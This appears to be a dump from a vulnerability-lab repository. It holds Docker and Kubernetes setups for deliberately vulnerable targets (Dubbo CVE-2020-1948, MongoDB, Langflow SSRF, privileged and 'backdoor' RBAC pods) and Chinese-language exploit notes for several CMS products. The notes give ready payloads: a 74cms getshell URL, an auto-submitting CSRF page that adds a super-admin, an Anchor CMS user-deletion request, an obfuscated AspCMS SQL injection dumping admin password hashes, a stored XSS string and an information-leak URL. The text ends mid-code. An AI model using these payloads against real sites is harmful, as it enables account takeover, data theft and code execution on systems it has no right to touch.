File: base/dubbo/2.7.7/docker-compose.yml
version: "3"
services:
api:
build: .
image: dsolab/dubbo:cve-2020-1948
container_name: cve-2020-1948
ports:
- "12345:12345"
File: base/gerapy/0.9.6/docker-compose.yml
version: "3.9"
services:
gerapy:
image: germey/gerapy:0.9.6
build: .
container_name: gerapy
restart: always
volumes:
- gerapy:/home/gerapy
ports:
- 8000:8000
volumes:
gerapy:
File: base/gogs/0.13.3/docker-compose.yml
services:
web:
build: .
ports:
- "10022:22"
- "3000:3000"
File: base/grafana/11.0.0/docker-compose.yml
services:
mysql:
image: mysql:latest
restart: always
environment:
- MYSQL_ROOT_PASSWORD=rootpassword
- MYSQL_DATABASE=grafanadb
- MYSQL_USER=grafana
- MYSQL_PASSWORD=grafanapassword
volumes:
- ./mysql-data:/var/lib/mysql
ports:
- "3306:3306"
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "localhost"]
interval: 10s
timeout: 5s
retries: 3
grafana:
build: .
ports:
- "3000:3000"
environment:
- GF_SECURITY_ADMIN_PASSWORD=AwesomePoc123!
- GF_DATABASE_TYPE=mysql
- GF_DATABASE_HOST=mysql:3306
- GF_DATABASE_USER=grafana
- GF_DATABASE_PASSWORD=grafanapassword
- GF_DATABASE_NAME=grafanadb
volumes:
- grafana-storage:/var/lib/grafana
- ./grafana.ini:/etc/grafana/grafana.ini
depends_on:
mysql:
condition: service_healthyvolumes:
grafana-storage:
mysql-storage:
File: base/iotdb/1.2.0/docker-compose.yml
services:
iotdb:
image: apache/iotdb:1.2.0-standalone
container_name: iotdb
ports:
- "6667:6667"
- "31999:31999"
- "8181:8181"
File: base/kubernetes/k8s_backdoor_cronjob.yaml
apiVersion: v1 kind: ServiceAccount metadata: name: k8s-backdoor-cronjob namespace: metarget
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: k8s-backdoor-cronjob
rules:
- apiGroups:
- batch
resources: - cronjobs
verbs: - create
- batch
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: k8s-backdoor-cronjob
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: k8s-backdoor-cronjob
subjects:
- kind: ServiceAccount
name: k8s-backdoor-cronjob
namespace: metarget
apiVersion: v1
kind: Pod
metadata:
name: k8s-backdoor-cronjob
namespace: metarget
spec:
serviceAccountName: k8s-backdoor-cronjob
containers:
- name: ubuntu
image: ubuntu:latest
imagePullPolicy: IfNotPresentJust spin & wait forever
command: [ "/bin/bash", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
File: base/kubernetes/k8s_backdoor_daemonset.yaml
apiVersion: v1 kind: ServiceAccount metadata: name: k8s-backdoor-daemonset namespace: metarget
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: k8s-backdoor-daemonset
rules:
- apiGroups:
- apps
resources: - daemonsets
verbs: - create
- apps
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: k8s-backdoor-daemonset
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: k8s-backdoor-daemonset
subjects:
- kind: ServiceAccount
name: k8s-backdoor-daemonset
namespace: metarget
apiVersion: v1
kind: Pod
metadata:
name: k8s-backdoor-daemonset
namespace: metarget
spec:
serviceAccountName: k8s-backdoor-daemonset
containers:
- name: ubuntu
image: ubuntu:latest
imagePullPolicy: IfNotPresentJust spin & wait forever
command: [ "/bin/bash", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
File: base/kubernetes/k8s_metarget_namespace.yaml
apiVersion: v1
kind: Namespace
metadata:
name: metarget
File: base/kubernetes/k8s_node_proxy.yaml
apiVersion: v1 kind: ServiceAccount metadata: name: k8s-node-proxy namespace: metarget
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: k8s-node-proxy
rules:
- apiGroups:
- ""
resources: - nodes/proxy
verbs: - create
- get
- ""
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: k8s-node-proxy
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: k8s-node-proxy
subjects:
- kind: ServiceAccount
name: k8s-node-proxy
namespace: metarget
apiVersion: v1
kind: Pod
metadata:
name: k8s-node-proxy
namespace: metarget
spec:
serviceAccountName: k8s-node-proxy
containers:
- name: ubuntu
image: ubuntu:latest
imagePullPolicy: IfNotPresentJust spin & wait forever
command: [ "/bin/bash", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
File: base/kubernetes/k8s_node_proxy_token.yaml
apiVersion: v1
kind: Secret
metadata:
name: k8s-node-proxy-token-secret
namespace: metarget
annotations:
kubernetes.io/service-account.name: k8s-node-proxy
type: kubernetes.io/service-account-token
File: base/kubernetes/k8s_shadow_apiserver.yaml
apiVersion: v1 kind: ServiceAccount metadata: name: k8s-shadow-apiserver namespace: metarget
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: k8s-shadow-apiserver
rules:
- apiGroups:
- ""
resources: - pods
verbs: - create
- get
- list
- ""
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: k8s-shadow-apiserver
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: k8s-shadow-apiserver
subjects:
- kind: ServiceAccount
name: k8s-shadow-apiserver
namespace: metarget
apiVersion: v1
kind: Pod
metadata:
name: k8s-shadow-apiserver
namespace: metarget
spec:
serviceAccountName: k8s-shadow-apiserver
containers:
- name: ubuntu
image: ubuntu:latest
imagePullPolicy: IfNotPresentJust spin & wait forever
command: [ "/bin/bash", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
File: base/kubernetes/privileged-container.yaml
apiVersion: v1
kind: Pod
metadata:
name: privileged-container
namespace: metarget
spec:
containers:
- name: ubuntu
image: ubuntu:latest
imagePullPolicy: IfNotPresent
securityContext:
privileged: trueJust spin & wait forever
command: [ "/bin/bash", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
File: base/kubernetes/Ingress-nginx/1.11.3/deploy.yaml
apiVersion: v1
kind: Namespace
metadata:
labels:
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
name: ingress-nginx
apiVersion: v1
automountServiceAccountToken: true
kind: ServiceAccount
metadata:
labels:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.11.3
name: ingress-nginx
namespace: ingress-nginx
apiVersion: v1
automountServiceAccountToken: true
kind: ServiceAccount
metadata:
labels:
app.kubernetes.io/component: admission-webhook
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.11.3
name: ingress-nginx-admission
namespace: ingress-nginx
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
labels:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.11.3
name: ingress-nginx
namespace: ingress-nginx
rules:
- apiGroups:
- ""
resources: - namespaces
verbs: - get
- ""
- apiGroups:
- ""
resources: - configmaps
- pods
- secrets
- endpoints
verbs: - get
- list
- watch
- ""
- apiGroups:
- ""
resources: - services
verbs: - get
- list
- watch
- ""
- apiGroups:
- networking.k8s.io
resources: - ingresses
verbs: - get
- list
- watch
- networking.k8s.io
- apiGroups:
- networking.k8s.io
resources: - ingresses/status
verbs: - update
- networking.k8s.io
- apiGroups:
- networking.k8s.io
resources: - ingressclasses
verbs: - get
- list
- watch
- networking.k8s.io
- apiGroups:
- coordination.k8s.io
resourceNames: - ingress-nginx-leader
resources: - leases
verbs: - get
- update
- coordination.k8s.io
- apiGroups:
- coordination.k8s.io
resources: - leases
verbs: - create
- coordination.k8s.io
- apiGroups:
- ""
resources: - events
verbs: - create
- patch
- ""
- apiGroups:
- discovery.k8s.io
resources: - endpointslices
verbs: - list
- watch
- get
- discovery.k8s.io
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
labels:
app.kubernetes.io/component: admission-webhook
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.11.3
name: ingress-nginx-admission
namespace: ingress-nginx
rules:
- apiGroups:
- ""
resources: - secrets
verbs: - get
- create
- ""
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
labels:
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.11.3
name: ingress-nginx
rules:
- apiGroups:
- ""
resources: - configmaps
- endpoints
- nodes
- pods
- secrets
- namespaces
verbs: - list
- watch
- ""
- apiGroups:
- coordination.k8s.io
resources: - leases
verbs: - list
- watch
- coordination.k8s.io
- apiGroups:
- ""
resources: - nodes
verbs: - get
- ""
- apiGroups:
- ""
resources: - services
verbs: - get
- list
- watch
- ""
- apiGroups:
- networking.k8s.io
resources: - ingresses
verbs: - get
- list
- watch
- networking.k8s.io
- apiGroups:
- ""
resources: - events
verbs: - create
- patch
- ""
- apiGroups:
- networking.k8s.io
resources: - ingresses/status
verbs: - update
- networking.k8s.io
- apiGroups:
- networking.k8s.io
resources: - ingressclasses
verbs: - get
- list
- watch
- networking.k8s.io
- apiGroups:
- discovery.k8s.io
resources: - endpointslices
verbs: - list
- watch
- get
- discovery.k8s.io
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
labels:
app.kubernetes.io/component: admission-webhook
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.11.3
name: ingress-nginx-admission
rules:
- apiGroups:
- admissionregistration.k8s.io
resources: - validatingwebhookconfigurations
verbs: - get
- update
- admissionregistration.k8s.io
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
labels:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.11.3
name: ingress-nginx
namespace: ingress-nginx
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: ingress-nginx
subjects:
- kind: ServiceAccount
name: ingress-nginx
namespace: ingress-nginx
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
labels:
app.kubernetes.io/component: admission-webhook
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.11.3
name: ingress-nginx-admission
namespace: ingress-nginx
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: ingress-nginx-admission
subjects:
- kind: ServiceAccount
name: ingress-nginx-admission
namespace: ingress-nginx
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
labels:
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.11.3
name: ingress-nginx
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: ingress-nginx
subjects:
- kind: ServiceAccount
name: ingress-nginx
namespace: ingress-nginx
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
labels:
app.kubernetes.io/component: admission-webhook
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.11.3
name: ingress-nginx-admission
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: ingress-nginx-admission
subjects:
- kind: ServiceAccount
name: ingress-nginx-admission
namespace: ingress-nginx
apiVersion: v1
data:
allow-snippet-annotations: "false"
kind: ConfigMap
metadata:
labels:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.11.3
name: ingress-nginx-controller
namespace: ingress-nginx
apiVersion: v1
kind: Service
metadata:
labels:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.11.3
name: ingress-nginx-controller
namespace: ingress-nginx
spec:
externalTrafficPolicy: Local
ipFamilies:
- IPv4
ipFamilyPolicy: SingleStack
ports: - appProtocol: http
name: http
port: 80
protocol: TCP
targetPort: http - appProtocol: https
name: https
port: 443
protocol: TCP
targetPort: https
selector:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
type: LoadBalancer
apiVersion: v1
kind: Service
metadata:
labels:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.11.3
name: ingress-nginx-controller-admission
namespace: ingress-nginx
spec:
ports:
- appProtocol: https
name: https-webhook
port: 443
targetPort: webhook
selector:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
type: ClusterIP
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.11.3
name: ingress-nginx-controller
namespace: ingress-nginx
spec:
minReadySeconds: 0
revisionHistoryLimit: 10
selector:
matchLabels:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
strategy:
rollingUpdate:
maxUnavailable: 1
type: RollingUpdate
template:
metadata:
labels:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.11.3
spec:
containers:
- args:
- /nginx-ingress-controller
- --publish-service=$(POD_NAMESPACE)/ingress-nginx-controller
- --election-id=ingress-nginx-leader
- --controller-class=k8s.io/ingress-nginx
- --ingress-class=nginx
- --configmap=$(POD_NAMESPACE)/ingress-nginx-controller
- --validating-webhook=:8443
- --validating-webhook-certificate=/usr/local/certificates/cert
- --validating-webhook-key=/usr/local/certificates/key
- --enable-metrics=false
env:
- name: POD_NAME
valueFrom:
fieldRef:
fieldPath: metadata.name
- name: POD_NAMESPACE
valueFrom:
fieldRef:
fieldPath: metadata.namespace
- name: LD_PRELOAD
value: /usr/local/lib/libmimalloc.so
image: registry.k8s.io/ingress-nginx/controller:v1.11.3@sha256:d56f135b6462cfc476447cfe564b83a45e8bb7da2774963b00d12161112270b7
imagePullPolicy: IfNotPresent
lifecycle:
preStop:
exec:
command:
- /wait-shutdown
livenessProbe:
failureThreshold: 5
httpGet:
path: /healthz
port: 10254
scheme: HTTP
initialDelaySeconds: 10
periodSeconds: 10
successThreshold: 1
timeoutSeconds: 1
name: controller
ports:
- containerPort: 80
name: http
protocol: TCP
- containerPort: 443
name: https
protocol: TCP
- containerPort: 8443
name: webhook
protocol: TCP
readinessProbe:
failureThreshold: 3
httpGet:
path: /healthz
port: 10254
scheme: HTTP
initialDelaySeconds: 10
periodSeconds: 10
successThreshold: 1
timeoutSeconds: 1
resources:
requests:
cpu: 100m
memory: 90Mi
securityContext:
allowPrivilegeEscalation: false
capabilities:
add:
- NET_BIND_SERVICE
drop:
- ALL
readOnlyRootFilesystem: false
runAsNonRoot: true
runAsUser: 101
seccompProfile:
type: RuntimeDefault
volumeMounts:
- mountPath: /usr/local/certificates/
name: webhook-cert
readOnly: true
dnsPolicy: ClusterFirst
nodeSelector:
kubernetes.io/os: linux
serviceAccountName: ingress-nginx
terminationGracePeriodSeconds: 300
volumes:
- name: webhook-cert
secret:
secretName: ingress-nginx-admission
apiVersion: batch/v1
kind: Job
metadata:
labels:
app.kubernetes.io/component: admission-webhook
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.11.3
name: ingress-nginx-admission-create
namespace: ingress-nginx
spec:
template:
metadata:
labels:
app.kubernetes.io/component: admission-webhook
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.11.3
name: ingress-nginx-admission-create
spec:
containers:
- args:
- create
- --host=ingress-nginx-controller-admission,ingress-nginx-controller-admission.$(POD_NAMESPACE).svc
- --namespace=$(POD_NAMESPACE)
- --secret-name=ingress-nginx-admission
env:
- name: POD_NAMESPACE
valueFrom:
fieldRef:
fieldPath: metadata.namespace
image: registry.k8s.io/ingress-nginx/kube-webhook-certgen:v1.4.4@sha256:a9f03b34a3cbfbb26d103a14046ab2c5130a80c3d69d526ff8063d2b37b9fd3f
imagePullPolicy: IfNotPresent
name: create
securityContext:
allowPrivilegeEscalation: false
capabilities:
drop:
- ALL
readOnlyRootFilesystem: true
runAsNonRoot: true
runAsUser: 65532
seccompProfile:
type: RuntimeDefault
nodeSelector:
kubernetes.io/os: linux
restartPolicy: OnFailure
serviceAccountName: ingress-nginx-admission
apiVersion: batch/v1
kind: Job
metadata:
labels:
app.kubernetes.io/component: admission-webhook
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.11.3
name: ingress-nginx-admission-patch
namespace: ingress-nginx
spec:
template:
metadata:
labels:
app.kubernetes.io/component: admission-webhook
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.11.3
name: ingress-nginx-admission-patch
spec:
containers:
- args:
- patch
- --webhook-name=ingress-nginx-admission
- --namespace=$(POD_NAMESPACE)
- --patch-mutating=false
- --secret-name=ingress-nginx-admission
- --patch-failure-policy=Fail
env:
- name: POD_NAMESPACE
valueFrom:
fieldRef:
fieldPath: metadata.namespace
image: registry.k8s.io/ingress-nginx/kube-webhook-certgen:v1.4.4@sha256:a9f03b34a3cbfbb26d103a14046ab2c5130a80c3d69d526ff8063d2b37b9fd3f
imagePullPolicy: IfNotPresent
name: patch
securityContext:
allowPrivilegeEscalation: false
capabilities:
drop:
- ALL
readOnlyRootFilesystem: true
runAsNonRoot: true
runAsUser: 65532
seccompProfile:
type: RuntimeDefault
nodeSelector:
kubernetes.io/os: linux
restartPolicy: OnFailure
serviceAccountName: ingress-nginx-admission
apiVersion: networking.k8s.io/v1
kind: IngressClass
metadata:
labels:
app.kubernetes.io/component: controller
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.11.3
name: nginx
spec:
controller: k8s.io/ingress-nginx
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
labels:
app.kubernetes.io/component: admission-webhook
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
app.kubernetes.io/version: 1.11.3
name: ingress-nginx-admission
webhooks:
- admissionReviewVersions:
- v1
clientConfig:
service:
name: ingress-nginx-controller-admission
namespace: ingress-nginx
path: /networking/v1/ingresses
port: 443
failurePolicy: Fail
matchPolicy: Equivalent
name: validate.nginx.ingress.kubernetes.io
rules: - apiGroups:
- networking.k8s.io
apiVersions: - v1
operations: - CREATE
- UPDATE
resources: - ingresses
sideEffects: None
- networking.k8s.io
- v1
File: base/langflow/1.6.8/docker-compose.yml
services:
langflow:
image: langflowai/langflow:1.6.8
container_name: langflow
ports:
- "7860:7860"
restart: unless-stopped
File: base/langflow/1.6.9/docker-compose.yml
services:
langflow:
image: langflowai/langflow:1.6.9
expose:
- "7860"
env_file:
- .env
restart: unless-stopped
nginx:
image: nginx:latest
ports:
- "443:443"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
- ./ssl:/etc/nginx/ssl:ro
depends_on:
- langflow
restart: unless-stopped
File: base/langflow/1.6.9-ssrf/docker-compose.yml
networks:
ssrf-net:
driver: bridge
ipam:
config:
- subnet: 172.18.0.0/16
services:
langflow:
build: ./langflow
container_name: langflow
ports:
- "7860:7860"
networks:
ssrf-net:
ipv4_address: 172.18.0.2
internal-api:
build: ./internal-api
container_name: internal-api
expose:
- "8000"
networks:
ssrf-net:
ipv4_address: 172.18.0.3
File: base/mongodb/8.2.2/docker-compose.yml
services:
mongodb-vulnerable:
image: mongo:8.2.2
container_name: mongobleed-target
ports:
- "27017:27017"
environment:
MONGO_INITDB_ROOT_USERNAME: admin
MONGO_INITDB_ROOT_PASSWORD: SuperSecret123!
MONGO_INITDB_DATABASE: secretdb
volumes:
- ./init/init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro
- mongodb_data:/data/db
command: ["mongod", "--networkMessageCompressors", "zlib", "--bind_ip_all"]
restart: unless-stopped
volumes:
mongodb_data:
File: base/n8n/1.71.0/docker-compose.yml
volumes:
db_storage:
n8n_storage:
services:
postgres:
image: postgres:16
restart: always
environment:
- POSTGRES_USER=n8n_user
- POSTGRES_PASSWORD=n8n_password
- POSTGRES_DB=n8n_db
- POSTGRES_NON_ROOT_USER=n8n_root
- POSTGRES_NON_ROOT_PASSWORD=n8n_root_password
volumes:
- db_storage:/var/lib/postgresql/data
- ./init-data.sh:/docker-entrypoint-initdb.d/init-data.sh
healthcheck:
test: ['CMD-SHELL', 'pg_isready -h localhost -U n8n_user -d n8n_db']
interval: 5s
timeout: 5s
retries: 10
n8n:
image: docker.n8n.io/n8nio/n8n:1.71.0
restart: always
environment:
- DB_TYPE=postgresdb
- DB_POSTGRESDB_HOST=postgres
- DB_POSTGRESDB_PORT=5432
- DB_POSTGRESDB_DATABASE=n8n_db
- DB_POSTGRESDB_USER=n8n_user
- DB_POSTGRESDB_PASSWORD=n8n_password
ports:
- 5678:5678
links:
- postgres
volumes:
- n8n_storage:/home/node/.n8n
depends_on:
postgres:
condition: service_healthy
File: base/ollama/0.1.33/docker-compose.yml
services:
ollama:
image: ollama/ollama:0.1.33
container_name: ollama
volumes:
- ollama:/root/.ollama
ports:
- "11434:11434"
volumes:
ollama:
File: base/ollama/0.1.45/docker-compose.yml
services:
ollama:
image: ollama/ollama:0.1.45
container_name: ollama
volumes:
- ollama:/root/.ollama
ports:
- "11434:11434"
volumes:
ollama:
File: base/ollama/0.1.46/docker-compose.yml
services:
ollama:
image: ollama/ollama:0.1.46
container_name: ollama
volumes:
- ollama:/root/.ollama
ports:
- "11434:11434"
volumes:
ollama:
File: base/ollama/0.3.14/docker-compose.yml
services:
ollama:
image: ollama/ollama:0.3.14
container_name: ollama
volumes:
- ollama:/root/.ollama
ports:
- "11434:11434"
volumes:
ollama:
File: base/opencode/1.0.207/docker-compose.yml
services:
opencode:
build: .
ports:
- "4096:4096"
File: base/srs/v5.0-a4/docker-compose.yml
services:
srs-api-stub:
build: .
container_name: srs-api-stub
ports:
- "8085:8085"
restart: always
File: base/struts2/s2-069/docker-compose.yml
services:
struts2:
build: .
ports:
- "8080:8080"
File: base/zentao/16.5/docker-compose.yml
services:
zentao:
image: easysoft/zentao:16.5
ports:
- "8084:80"
environment:
- MYSQL_INTERNAL=true
volumes:
- /data/zentao:/data
File: base/zentao/18.0/docker-compose.yml
services:
zentao:
image: easysoft/zentao:18.0
ports:
- "8084:80"
environment:
- MYSQL_INTERNAL=true
volumes:
- /data/zentao:/data
File: base/zentao/18.0.beta1/docker-compose.yml
services:
zentao:
image: easysoft/zentao:18.0.beta1
ports:
- "8084:80"
environment:
- MYSQL_INTERNAL=true
volumes:
- /data/zentao:/data
File: base/zentao/18.5/docker-compose.yml
services:
zentao:
image: easysoft/zentao:18.5
ports:
- "8084:80"
environment:
- MYSQL_INTERNAL=true
volumes:
- /data/zentao:/data
File: CMS漏洞/74cms v4.2.1 v4.2.129 后台getshell漏洞.md
74cms v4.2.1 v4.2.129 后台getshell漏洞
漏洞描述
厂商:74cms
下载地址:http://www.74cms.com/download/index.html
关于版本:
新版的74cms采用了tp3.2.3重构了,所以可知底层是tp,74cms新版升级是后台升级的,所以先将将升级方法。
注:此漏洞不用升级至最新版本也可使用。
漏洞复现
74cms升级到最新版
1, 先去官网下载 骑士人才系统基础版(安装包)
2, 将下载好的包进行安装
3, 进入后台点击查看如果不是最新版的话,请点击升级!
4, 如果是本地环境的话,会提示 域名不合法升级失败,这个问题很好解决
5, 搜索文件74cms\upload\Application\Admin\Controller\ApplyController.class.php
6, 查找所有$_SERVER['HTTP_HOST'] 改为 http://baidu.com 即可
漏洞演示
url:
http://74cms.test/index.php?m=Admin&c=Tpl&a=set&tpl_dir= ', 'a',phpinfo(),'shell:
http://74cms.test/Application/Home/Conf/config.php路径:
\74cms\upload\Application\Home\Conf\config.phpFile: CMS漏洞/74cms v5.0.1 后台跨站请求伪造漏洞 CVE-2019-11374.md
74cms v5.0.1 后台跨站请求伪造漏洞 CVE-2019-11374
漏洞描述
在74CMS v5.0.1后台存在一个跨站请求伪造(CSRF)漏洞,该漏洞url:/index.php?m=admin&c=admin&a=add
攻击者可以利用该漏洞诱骗管理员点击恶意页面,从而任意添加一个后台管理员账户,达到进入后台,获得一个后台管理员角色的控制权。
漏洞影响
74CMS v5.0.1漏洞复现
首先我们登录后台页面,并添加管理员,然后添加信息,用burp_suite抓包
当管理员登录后台后,点击攻击者发来的连接即可创建一个新的超级管理员账户
利用exp如下:
<!DOCTYPE html>
<html>
<head>
<title> CSRF </title>
<script type="text/javascript">
function exec1(){
document.getElementById('form1').submit();
}
</script>
</head>
<body onload="exec1();">
<form id="form1" action="https://www.0dayhack.com/index.php?m=Admin&c=admin&a=add" method="POST">
<input type="hidden" name="username" value="admin688" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="password" value="admin688" />
<input type="hidden" name="repassword" value="admin688" />
<input type="hidden" name="role_id" value="1" />
</form>
</body>
</html>File: CMS漏洞/Anchor CMS 0.12.7 跨站请求伪造 CVE-2020-23342.md
Anchor CMS 0.12.7 跨站请求伪造 CVE-2020-23342
漏洞描述
网络测绘
"Anchor CMS" && body="themes/default/img/favicon.png"漏洞复现
Anchor CMS使用Get方法进行敏感操作,可以使用exploit.html进行删除用户等操作。
exploit.html:
<img src="http://target/anchor/index.php/admin/users/delete/21">当管理员点击时删除ID为21的用户。
File: CMS漏洞/AspCMS commentList.asp SQL注入漏洞.md
AspCMS commentList.asp SQL注入漏洞
漏洞描述
AspCMS commentList.asp 存在SQL注入漏洞,攻击者通过漏洞可以获取管理员md5的密码
漏洞影响
AspCMS网络测绘
app="ASPCMS"漏洞复现
通过网站源码响应判断CMS
验证POC
/plug/comment/commentList.asp?id=-1%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now(),null,1%20%20frmasterom%20{prefix}user成功获取管理员账号以及密码的MD5
File: CMS漏洞/BloofoxCMS 0.5.2.1 存储型XSS.md
BloofoxCMS 0.5.2.1 存储型XSS
漏洞描述
参考链接:
漏洞影响
BloofoxCMS 0.5.1.0 -.5.2.1网络测绘
app="BloofoxCMS"漏洞复现
漏洞文件:
/admin/include/inc_content_articles.php登录有效的账号,在添加文章的时候插入Payload发布,每次访问均可触发:
<img src=# onerror=alert('xss')>File: CMS漏洞/BSPHP index.php 未授权访问 信息泄露漏洞.md
BSPHP index.php 未授权访问 信息泄露漏洞
漏洞描述
BSPHP 存在未授权访问 泄露用户 IP 和 账户名信息
漏洞影响
BSPHP网络测绘
"BSPHP"漏洞复现
访问如下URL,泄露用户名与登录IP
http://xxx.xxx.xxx.xxx/admin/index.php?m=admin&c=log&a=table_json&json=get&soso_ok=1&t=user_login_log&page=1&limit=10&bsphptime=1600407394176&soso_id=1&soso=&DESC=0‘File: CMS漏洞/CMS Made Simple (CMSMS) 前台SQL注入漏洞 CVE-2019-9053.md
[Binary file]
File: CMS漏洞/CMS Made Simple (CMSMS) 前台代码执行漏洞 CVE-2021-26120.md
[Binary file]
File: CMS漏洞/CmsEasy crossall_act.php SQL注入漏洞.md
CmsEasy crossall_act.php SQL注入漏洞
漏洞描述
CmsEasy 存在SQL注入漏洞,通过文件 service.php 加密SQL语句执行即可执行任意SQL命令
漏洞影响
CmsEasy V7.7.5_20210919网络测绘
body="cmseasyedit"漏洞复现
存在漏洞的文件为 lib/default/crossall_act.php
其中需要注意的代码为
function execsql_action(){
$sqlquery=front::get("sql");
$sqlquery=service::getInstance()->unlockString($sqlquery,"cmseasy_sql");
$returndata=tdatabase::getInstance()->rec_query_one($sqlquery);
echo json_encode($returndata);
exit;
}
function execsqls_action(){
$sqlquery=front::get("sql");
$sqlquery=service::getInstance()->unlockString($sqlquery,"cmseasy_sql");
$returndata=tdatabase::getInstance()->rec_query($sqlquery);
echo json_encode($returndata);
exit;
}
function execupdate_action(){
$sqlquery=front::get("sql");
$sqlquery=service::getInstance()->unlockString($sqlquery,"cmseasy_sql");
$returndata=tdatabase::getInstance()->query($sqlquery);
echo json_encode($returndata);
exit;
}代码中传入参数 sql, 然后使用方法 unlockString 解码执行 SQL语句
查看文件 lib/table/service.php
public static function lockString($txt,$key='cmseasy_sql')
{
